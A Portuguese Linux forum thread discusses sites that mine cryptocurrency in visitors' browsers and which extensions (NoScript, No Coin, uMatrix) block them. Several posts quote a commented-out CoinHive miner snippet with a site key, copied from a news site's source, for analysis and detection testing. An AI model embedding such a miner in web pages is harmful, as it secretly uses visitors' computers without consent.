Sites que usam seu computador para minerar

13. Re: Sites que usam seu computador para minerar

Hugo Cerqueira
hrcerq

(usa Outra)

Enviado em 29/01/2018 - 12:55h

Mauriciodez escreveu:

entendi a dinâmica .. só não entendi pq nem o "No Script" nem o "No Coin" identifcou o script ... será q eles só identificam scripts ativos ???



Observe o trecho do código-fonte do site em questão (http://www.radioguaiba.com.br/):


<!--
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.User('LEndSPCsw3pTXYfUQMvLfuj7QiBW6buH', 'john-doe', {threads: 2});
miner.start();
</script>
-->


Observe que o trecho do script de mineração está comentado. Comentários, como você bem deve saber, não são processados pelo navegador, portanto são o mesmo que nada. Se esse script fosse capturado como malware, seria, na verdade, um falso positivo.

---

Atenciosamente,
Hugo Cerqueira


  


14. Re: Sites que usam seu computador para minerar

Matheus Brandão (aka James)
Wiltzer

(usa Outra)

Enviado em 30/01/2018 - 02:59h

Essas extensões bloqueiam somente o coinhive ou outros semelhantes?


15. Re: Sites que usam seu computador para minerar

Henrique
Henrique - RJ

(usa Outra)

Enviado em 30/01/2018 - 06:17h

hrcerq escreveu:

Mauriciodez escreveu:

entendi a dinâmica .. só não entendi pq nem o "No Script" nem o "No Coin" identifcou o script ... será q eles só identificam scripts ativos ???



Observe o trecho do código-fonte do site em questão (http://www.radioguaiba.com.br/):


<!--
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.User('LEndSPCsw3pTXYfUQMvLfuj7QiBW6buH', 'john-doe', {threads: 2});
miner.start();
</script>
-->


Observe que o trecho do script de mineração está comentado. Comentários, como você bem deve saber, não são processados pelo navegador, portanto são o mesmo que nada. Se esse script fosse capturado como malware, seria, na verdade, um falso positivo.

---

Atenciosamente,
Hugo Cerqueira


Se você baixar esse js e o enviar para o VirusTotal um montão de antivírus o vai detectar.

Não tem nada de falso positivo.




16. Re: Sites que usam seu computador para minerar

Perfil removido
removido

(usa Nenhuma)

Enviado em 30/01/2018 - 09:33h

zezaocapoeira escreveu:

Mineração consome muito processamento via cpu ou gpu.

Nesse caso antes de testar abra algum monitor do sistema para acompanhar a alteração.



+ 10000000000000000000000000000000000000000000000000


17. Re: Sites que usam seu computador para minerar

Perfil removido
removido

(usa Nenhuma)

Enviado em 30/01/2018 - 09:36h

Henrique - RJ escreveu:

Mauriciodez escreveu:

apesar de ter este script no site, nem o "No Script" nem o "No Coin" identificou !!!
Tb não notei nada diferente na máquina !!!



O Sophos no Windows detecta como adware ou PUA mas aqui no Linux não.



LIXO esse tal Sophos


18. Re: Sites que usam seu computador para minerar

Henrique
Henrique - RJ

(usa Outra)

Enviado em 30/01/2018 - 09:50h

zezaocapoeira escreveu:

Mineração consome muito processamento via cpu ou gpu.

Nesse caso antes de testar abra algum monitor do sistema para acompanhar a alteração.



Aqui uso um monitor de carga do sistema que fica ao lado da data e hora na barra monitorando o uso da CPU, da memória RAM e da memória swap.




19. Re: Sites que usam seu computador para minerar

Henrique
Henrique - RJ

(usa Outra)

Enviado em 30/01/2018 - 09:55h

meianoite escreveu:

Henrique - RJ escreveu:

Mauriciodez escreveu:

apesar de ter este script no site, nem o "No Script" nem o "No Coin" identificou !!!
Tb não notei nada diferente na máquina !!!



O Sophos no Windows detecta como adware ou PUA mas aqui no Linux não.



LIXO esse tal Sophos


Eu estou gostando do Sophos no Linux.

Só é chato quando se atualiza pondo o processador e o disco a 100% que é semelhante ao Muon que verifica de tempos em tempos se há atualizações para o sistema ( acabei desinstalando ele para não perturbar e uso o Synaptic manualmente para atualizações ).

Confesso que é gratificante ver ele detectando uma ameaça e bloqueando a execução dela ao acessar um site de testes emitindo um alerta como este:

https://s10.postimg.org/wz28epa2h/imagem9.png




20. Re: Sites que usam seu computador para minerar

Hugo Cerqueira
hrcerq

(usa Outra)

Enviado em 30/01/2018 - 10:21h

Henrique - RJ escreveu:

hrcerq escreveu:

Mauriciodez escreveu:

entendi a dinâmica .. só não entendi pq nem o "No Script" nem o "No Coin" identifcou o script ... será q eles só identificam scripts ativos ???



Observe o trecho do código-fonte do site em questão (http://www.radioguaiba.com.br/):


<!--
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.User('LEndSPCsw3pTXYfUQMvLfuj7QiBW6buH', 'john-doe', {threads: 2});
miner.start();
</script>
-->


Observe que o trecho do script de mineração está comentado. Comentários, como você bem deve saber, não são processados pelo navegador, portanto são o mesmo que nada. Se esse script fosse capturado como malware, seria, na verdade, um falso positivo.

---

Atenciosamente,
Hugo Cerqueira


Se você baixar esse js e o enviar para o VirusTotal um montão de antivírus o vai detectar.

Não tem nada de falso positivo.



Tecnicamente esses mineradores sequer são vírus, já que não são estruturas auto-replicantes. Além do mais, parece que você precisa se familiarizar mais com o conceito de falso positivo, e também o de comentário html/javascript.

Caso contrário, explique como que a detecção de um script comentado não é falso positivo. Mas por favor, uma explicação com argumentos técnicos bem fundamentados, nada de "bla bla bla" e senso comum, que isso não explica nada.

---

Atenciosamente,
Hugo Cerqueira


21. Re: Sites que usam seu computador para minerar

Hugo Cerqueira
hrcerq

(usa Outra)

Enviado em 30/01/2018 - 10:28h

Wiltzer escreveu:

Essas extensões bloqueiam somente o coinhive ou outros semelhantes?


O NoScript bloqueia todos os tipos de mineradores javascript. Todo e qualquer javascript ele bloqueia, salvo se você expressamente permitir sua execução. O bloqueio/liberação é feito por domínios. Então, quando você marca um domínio como confiável, os scripts daquele domínio tem permissão para executar no seu navegador. Os demais não executam.

A regra de ouro com o noscript é: "Se está funcionando sem liberar os scripts, deixe os scripts bloqueados. Se não está funcionando, avalie a procedência dos domínios e o nível de necessidade dessa liberação."

Lembre-se: Javascript é código executado no seu computador, não no servidor remoto. Ter cuidado com o que executa no seu computador é uma tarefa mais sua do que do provedor do serviço Web que estiver acessando.

---

Atenciosamente,
Hugo Cerqueira


22. Re: Sites que usam seu computador para minerar

Mauriciodez
Mauriciodez

(usa Debian)

Enviado em 30/01/2018 - 11:31h

Então é isso aí mesmo ...

1º - Eu tô perdendo o tato para ler HTML mesmo, não tinha percebido que o script estava comentado .... kkkkkkkkkkkkkkkkkkk
2º - Eu Descomentei o script e tanto o No Coin quanto o No Script detectaram o meliante, vou deixar o No Coin instalado por via das dúvidas.


------------------------------------------| Linux User #621728 |-----------------------------------------

" Nem sempre é amigo aquele que te tira do buraco !!! ( Saddam Hussein )"

------------------------------------------| Linux User #621728 |-----------------------------------------



23. Re: Sites que usam seu computador para minerar

Guilherme
guipsp

(usa Ubuntu)

Enviado em 30/01/2018 - 14:55h

Uma alternativa do mesmo criador do ublock chama-se umatrix. Por padrão ele já bloqueia os scripts externos e permite customizar as regras de forma fácil, bloqueio de cookies, frame, imagem, etc, aos colegas curiosos recomendo dar uma olhada.

Um pouco sobre ele em português

http://www.hardware.com.br/comunidade/umatrix-extensao/1379980/


24. Re: Sites que usam seu computador para minerar

Gustavo Paulino
Skol

(usa Linux Mint)

Enviado em 30/01/2018 - 17:15h

Estou usando uMatrix há alguns meses, fiz um teste recentemente com ele e o adblock. Tentei acessar um script minerador e o adblock deixou passar mas o uMatrix bloqueou tranquilo. Quem quiser pode testar com o script abaixo:

coin-hive.com/lib/coinhive.min.js

Acho que o Utrax funciona bem.



01 02 03



Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner
Linux banner
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts